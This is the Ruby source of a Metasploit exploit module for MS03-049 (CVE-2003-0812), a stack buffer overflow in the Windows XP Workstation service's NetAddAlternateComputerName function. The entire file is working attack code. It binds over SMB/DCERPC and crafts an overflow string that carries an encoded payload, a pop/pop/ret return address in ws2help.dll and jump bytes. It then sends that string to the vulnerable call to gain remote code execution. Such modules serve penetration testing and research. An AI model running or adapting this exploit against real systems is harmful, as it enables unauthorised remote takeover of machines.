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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::SMB::Client
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
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        function using the Workstation service in Windows XP.
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      },
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      'Author'         => [ 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2003-0812' ],
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          [ 'OSVDB', '11461' ],
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          [ 'BID', '9011' ],
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          [ 'MSB', 'MS03-049' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 1000,
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          'BadChars' =>  "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'DefaultTarget'  => 0,
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      'Targets'        =>
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        [
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          [ 'Windows XP SP0/SP1',
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            {
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              'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
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            }
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          ],
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        ],
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      'DisclosureDate' => '2003-11-11'))
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    register_options(
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      [
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        OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
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      ])
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  end
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  def exploit
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    connect()
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    smb_login()
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    handle = dcerpc_handle(
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      '6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
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      'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
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    )
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    print_status("Building the stub data...")
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    name = rand_text_alphanumeric(5000)
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    name[3496, 4] = [target.ret].pack('V')
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    name[3492, 2] = "\xeb\x06"
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    name[3500, 5] = "\xe9" + [-3505].pack('V')
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    name[0, payload.encoded.length] = payload.encoded
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    stub =
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      NDR.long(rand(0xffffffff)) +
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      NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
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      NDR.long(rand(0xffffffff)) +
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      NDR.UnicodeConformantVaryingString(name) +
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      NDR.long(rand(0xffffffff)) +
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      NDR.UnicodeConformantVaryingString('') +
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      NDR.long(0) +
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      NDR.long(0)
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    print_status("Calling the vulnerable function...")
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    begin
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      dcerpc.call(0x1b, stub)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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    rescue => e
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      if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
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        raise e
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      end
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    end
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    # Cleanup
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    handler
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    disconnect
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  end
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end
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